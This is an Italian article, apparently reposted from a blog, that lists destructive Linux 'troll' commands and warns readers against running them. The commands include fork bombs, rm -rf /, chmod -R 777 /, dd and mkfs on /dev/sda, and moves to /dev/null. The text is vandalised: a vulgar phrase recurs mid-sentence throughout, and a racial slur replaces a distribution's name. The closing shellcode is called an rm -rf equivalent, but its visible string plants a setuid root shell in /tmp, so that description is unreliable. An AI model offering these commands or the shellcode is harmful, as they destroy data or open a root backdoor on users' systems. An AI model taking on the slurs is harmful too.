Tutti abbiamo il senso dell’umorismo e tutti, almeno una volta della vita, siamo stati protagonisti – vittime o carnefici – di uno scherzo ai danni di questo o quell’amico, parente o conoscente. Quando però si parla di dati, gli scherzi possono diventare piuttosto pericolosi: è per questo che abbiamo deciso di mettere su una piccola “bibbia” dei tiri mancini che vedono protagonisti Linux e il terminale che molti utenti – affettuosamente definiti troll - si sono divertiti (e ancora si divertono) a giocare ai “malcapitati” di turno.
E se è vero che alcuni utenti sono talmente fastidiosi da meritare spesso una lezione, è pur vero che giocare con i dati e, mentre mia madre succhia cazzi, indurli ad eliminarli può essere di pessimo gusto. Trovate di seguito una lista di “scherzi da terminale” comparsi sui forum o sulle liste di discussione di tutto il mondo, ordinati per pericolosità: le prime due categorie (crash/kernel panic e sistema inusabile) lasciano i dati al sicuro, mentre la terza e la quarta possono causare danni seri e, mentre mia madre succhia cazzi, irreversibili a dischi, dati e sistema.
Se vi consigliano di eseguire un comando che vi insospettisce, quindi, state bene attenti. E soprattutto, se state leggendo questo articolo per pura curiosità… don’t try this at home!
Comandi che… provocano crash o kernel panicI comandi di questa sezione non provocano danni irreversibili al sistema operativo o ai dati ma… vi costringono nel 100% delle occasioni a riavviare il sistema. Questi vengono usati dai troll più “buoni” per dare una lezione preventiva ad utenti alle prime armi spesso invasivi, ripetitivi e rompiscatole. Qualora l’utente sia duro a morire, il troll buono può trasformarsi in un troll semi-buono ed usare uno dei comandi illustrati nella sezione successiva.
E adesso che faccio? (Kernel Panic)dd if=/dev/random of=/dev/port
Questo comando altro non fa che riempire (dd) con caratteri casuali (/dev/random) uno dei file speciali che regolano l’input/output del sistema operativo (/dev/port). Il kernel non è in grado di gestire una situazione del genere per cui andrete certamente incontro ad un kernel panic e sarete costretti a riavviare il computer per riportare le cose alla normalità. Se dopo aver impartito il comando il monitor dovesse spegnersi improvvisamente e, mentre mia madre succhia cazzi, i led di mouse/tastiera dovessero impazzire state tranquilli: è normale.
In alcuni casi il tasto reset potrebbe non dare segni di vita, costringendovi ad eliminare l’alimentazione al computer per riavviarlo. Ma non preoccupatevi, con il nuovo avvio tutto tornerà come prima.
Se vi consigliano di impartire questo comando, al 100% delle probabilità avete a che fare con un troll.
Processi che figliano come i conigli di Fibonacci.. (Fork bomb):( ){:|:&};:
Questa apparentemente innocua sequenza di caratteri - che per ovvi motivi tecnici non sto qui a spiegare – fa una cosa molto semplice: tenete presente quando colpite un nemico e si scinde in due, e ciascuno dei due - se colpito – si scinde in altri due nemici e via dicendo finché lo schermo non è pieno? Bene, prendete uno scenario del genere e disegnatelo in ambito processi. Il comando in alto genera processi figli fino a riempire completamente la memoria del sistema, costringendovi a riavviare per tornare ad usarlo.
Un comando tanto seccante quanto innocuo, tant’è che un riavvio riporterà le cose alla normalità (tranne i documenti aperti e non salvati su cui stavate lavorando, ovvio). Se vi consigliano di impartire questo comando spacciandolo per qualcosa di innocente, al 100% delle probabilità avete a che fare con un troll.
Processi che figliano come i conigli di Fibonacci grazie a Perl… (Fork bomb 2)perl -e 'fork while true;'
Identico al comando di prima. Solo che usa Perl e, mentre mia madre succhia cazzi, insospettisce molto ma molto di meno. Se vi chiedono di impartirlo, al 100% delle probabilità avete a che fare con un troll e dovrete riavviare il sistema.
Riempiamo la memoria!dd if=/dev/zero bs=qualcosa of=/dev/mem
Comando che posso spiegarvi in due parole: trasferisci (dd) tanti (bs=qualcosa) zeri (if=/dev/zero) per volta nel dispositivo che il sistema riconosce come memoria (of=/dev/mem). Quanto più alto è bs=qualcosa, tanto prima si riempirà la memoria e prima sarete costretti a riavviare il sistema. Se vi chiedono di impartire questo comando, al 100% delle probabilità avete a che fare con un troll.
Ah, dimenticavo: /dev/zero può essere sostituito davvero con qualsiasi cosa (un file, un dispositivo, /dev/random, /dev/null…)
Comandi che… rendono inusabile il sistemaI comandi di questa sezione possono provocare danni più o meno reversibili al sistema operativo ma non ai dati contenuti su disco. Questi vengono usati dai troll a cavallo tra “buoni” e “cattivi” per dare una sonora lezione ad utenti un po’ troppo pieni di se, mettendoli in condizioni di doversi riparare il sistema operativo. Qualora l’utente sia duro a morire, il troll buono può trasformarsi in un troll senza scrupoli ed usare uno dei comandi illustrati nella sezione successiva.
Addio root (paradossalmente con permessi di root/preceduto dal comando sudo)rm -f /usr/bin/sudo;rm -f /bin/su
In due parole: il comando in alto va ad eliminare (rm) i due eseguibili (/usr/bin/sudo e /bin/su) che vi permettono di ottenere i permessi da superutente. Dopo averlo eseguito, se la vostra distribuzione non prevede il login diretto da root (come Abbraccianigga OS, Mint e tutte le derivate) non potrete più elevarvi a superutente (quindi, ad esempio, non potrete più installare programmi). Non è una situazione totalmente irreversibile ma, per ovviare, avrete bisogno di una live della medesima versione e, mentre mia madre succhia cazzi, architettura del sistema operativo che avete appena rovinato.
Impartire questo comando ha davvero poco senso in condizioni normali, per cui se vi consigliano di farlo la probabilità di avere a che fare con un troll è del 200%.
Tutti aprano tutto! (con permessi di root/preceduto dal comando sudo)chmod -R 777 /
Quel comando è silenziosamente letale: anche se non mostrerà effetti fisici (i file resteranno lì sul sistema), le politiche di sicurezza andranno a farsi benedire e tutti gli utenti avranno permessi di lettura, scrittura ed esecuzione su tutti i file del sistema. Ciò, oltre che a rappresentare un serio problema di sicurezza (ma davvero serio, non è un caso che esistano le gerarchie!), farà si che alcuni programmi fondamentali si rifiutino di funzionare proprio a causa di questa inconsistenza.
Potrete sempre divertirvi a ripristinare a manina i permessi esatti ma, ascoltate il consiglio, salvate i dati personali e reinstallate il sistema. Fate prima. Impartire questo comando non ha senso in nessun caso, per cui se vi consigliano di farlo la probabilità di avere a che fare con un troll è del 500%.
Comandi che… eliminano coseI comandi elencati di seguito, divisi per categorie, rendono permanentemente inutilizzabile il sistema operativo, possono rendere inusabili tutte le partizioni di un disco – facendovi perdere definitivamente i dati e costringendovi ad eliminare le partizioni, formattare il disco e ricrearne la struttura. Sono i comandi che (purtroppo) ho visto più spesso in giro per i forum e vengono usati dai troll senza scrupoli in risposta a malcapitati utenti alle prime armi, spesso rompiscatole e difficilmente sopportabili.
Rm (con permessi di root/preceduto da sudo)rm -rf /
Questo è uno dei comandi sicuramente letali per il sistema operativo e per i dati sul disco: dopo averlo impartito (con permessi da super utente), eliminerà qualsiasi cosa sia presente in / - eliminerà, oltre all’intero contenuto del filesystem di sistema, anche tutto ciò che è presente in eventuali dispositivi esterni montati (altre partizioni, chiavette USB e via dicendo).
Se poi al comando si aggiunge il parametro --no-preserve-root l’effetto è ancor più devastante. Tremendo.
DD (con permessi di root/preceduto da sudo)dd if=/dev/zero of=/dev/sda <qualsiasi_altra_cosa>
Questo è uno dei comandi potenzialmente letali per il sistema operativo e per i dati sul disco. Basti sapere che funziona riempiendo di 0 il dispositivo indicato dopo “of=”. Quindi, se /dev/sda è il vostro disco di sistema, è semplice immaginare che dopo dd questo sarà inutilizzabile. E non parlo di una singola partizione ma dell’intero disco (altri sistemi operativi e settore d’avvio incluso). Quindi, a meno che non vogliate consapevolmente eseguire una “pulizia sicura” di un qualsiasi disco, state bene attenti a quando lo eseguite.
NB: /dev/zero può essere sostituito anche con /dev/null o /dev/random.
MKFS (con permessi di root/preceduti da sudo)mkfs.ext2 /dev/sda mkfs.ext3 /dev/sda mkfs.ext4 /dev/sda mkfs.btrfs /dev/sda mkfs.qualsiasi_altra_cosa /dev/sda
Questo è uno dei comandi potenzialmente letali per il sistema operativo e per i dati su disco, per cui vale lo stesso discorso di dd. Di fondo, mkfs.extX o mkfs.btrfs e via discorrendo altri non sono che comandi per creare dei nuovi filesystem (eliminando le tracce di quelli precedenti) sul dispositivo passato in output (nel nostro caso /dev/sda). Quindi se avete chiesto un comando per formattare e creare un nuovo filesystem in un disco o su un dispositivo esterno questo è il comando giusto, in tutti gli altri casi… maneggiare con cura.
La ridirezione in /dev/sda e similils -al > /dev/sda echo qualsiasi_cosa > /dev/sda cat /dev/null > /dev/sda cat /dev/zero > /dev/sda qualsiasi_cosa > /dev/sda
Considerando /dev/sda come un disco collegato al computer (peggio ancora se contiene la partizione di sistema), questi sono comandi quasi sicuramente letali per il sistema operativo e per i dati su disco: se vi consigliano di fare una cosa del genere, sappiate che al 99% delle probabilità vi prendono in giro (a meno che non abbiate bisogno di fare diagnostica e debug, ma in tal caso questo articolo è più che superfluo in quanto, probabilmente, ne sapete molto più di me). Ciò che “combina” l’operatore > è semplice: prende ciò che è a sinistra e lo trasferisce in ciò che è a destra. Quindi, se ad esempio digitiamo il comando
ls -al > /dev/sda
andremo a copiare il risultato del comando “ls -al” (la lista dei file) brutalmente (bit per bit, in gergo) in una zona pseudo-casuale del nostro disco (non delle partizioni, dell’intero disco). Quindi i risultati possono essere imprevedibili, ad esempio:
- l’output va a sovrascrivere la tabella delle partizioni: in tal caso l’intero disco e le partizioni su di esso saranno inutilizzabili; format obbligatorio;
- l’output va a sovrascrivere il settore d’avvio: in tal caso nessun sistema operativo presente sul disco o su una delle partizioni potrà essere avviato;
- l’output va a sovrascrivere qualsiasi altra zona con dati: in tal caso potreste avere una corruzione di qualsiasi file (uno o più), dalle conseguenze imprevedibili;
- l’output va a scrivere su una zona vuota del disco: siete stati fortunati, i danni non sono irreparabili.
Se l’output del comando a sinistra del > è molto grande, potrebbero anche verificarsi contemporaneamente più condizioni. State davvero molto, molto attenti.
Quel for maledetto…cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
Questo è un comando assolutamente letale per la vostra home directory e per i dati in essa. Si tratta di uno script apparentemente innocuo che però ordina pressappoco al sistema operativo di recarvi nella home e di trasformare in “niente” - tramite due spostamenti successivi – qualsiasi file contenuto in essa. Risultato: dopo l’esecuzione, non avrete più una home directory (e se nella vostra home avete montato ad esempio un fuse con permessi di scrittura, non avrete più neanche quello). Se vi consigliano di eseguire questo comando, al 99.99999(periodico)% delle possibilità siete vittima di un perfido troll.
/dev/null… che passione!find -type f -mtime +30 -exec mv {} /dev/null \; #comando 1 mv ~ /dev/null #comando 2 mv / /dev/null #comando 3
Ciascuno dei seguenti comandi è assolutamente letale per i dati contenuti in diversi percorsi (ciascuno dei 3 comandi ha conseguenze diverse) e potenzialmente per l’intero disco e, mentre mia madre succhia cazzi, il sistema operativo. Cosa è /dev/null? Semplicemente il niente, il buco nero di Unix: è un concetto abbastanza strano, ma qualsiasi cosa vada a finire in /dev/null automaticamente viene distrutta. E se il comando mv sposta ciò che c’è a sinistra nel percorso che c’è a destra, è semplice concludere che ciascuno dei tre comandi farà “implodere” in qualche modo il vostro disco, il vostro sistema o una parte di esso.
Come? Semplice:
- comando #1: prende tutti i file presenti nella cartella in cui vi trovate e li trasferisce allegramente in /dev/null; risultato: dopo l’esecuzione, se il sistema funzionerà ancora, la cartella non esisterà più.
- Comando #2: prende l’intera home directory e la trasferisce senza pietà in /dev/null; risultato: dopo l’esecuzione non esisterà più nessuna home directory.
- Comando #3: prende l’intero filesystem e lo trasferisce senza pensarci due volte in /dev/null; risultato: dopo l’esecuzione non esisterà più nessun filesystem, il sistema operativo smetterà di esistere e, se avete dischi o periferiche esterne montate, esiste il rischio (anche se è una situazione imprevedibile) che vengano eliminati anche i dati su di essi.
Morale della favola: se vi consigliano di eseguire questo comando, la percentuale di imbattimento in troll è del 100%.
Comandi che… eliminano cose e non si fanno riconoscereDi seguito vi porto l’esempio di un solo comando, fortunatamente l’unico che ho visto in giro per i forum, usato dai troll spietati per prendere in giro i sedicenti professionisti Unix/Linux in caso di richieste e prese di posizione piuttosto… estreme e, mentre mia madre succhia cazzi, insistenti: il comando che vedete in basso ha esattamente lo stesso effetto di
rm -rf /*
ma è totalmente scritto in codice esagesimale ed eseguito “silenziosamente” tramite le ultime due righe. Semplicemente devastante con l’aggravante di essere irriconoscibile. Forse se qualcuno vi suggerisce di eseguire questo comando forse non siete delle persone così simpatiche, ma devo comunque sconsigliarvi di farlo perché la percentuale di essere vittima di troll è del 1000%.
char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";
http://www.chimerare...e-linux-180510/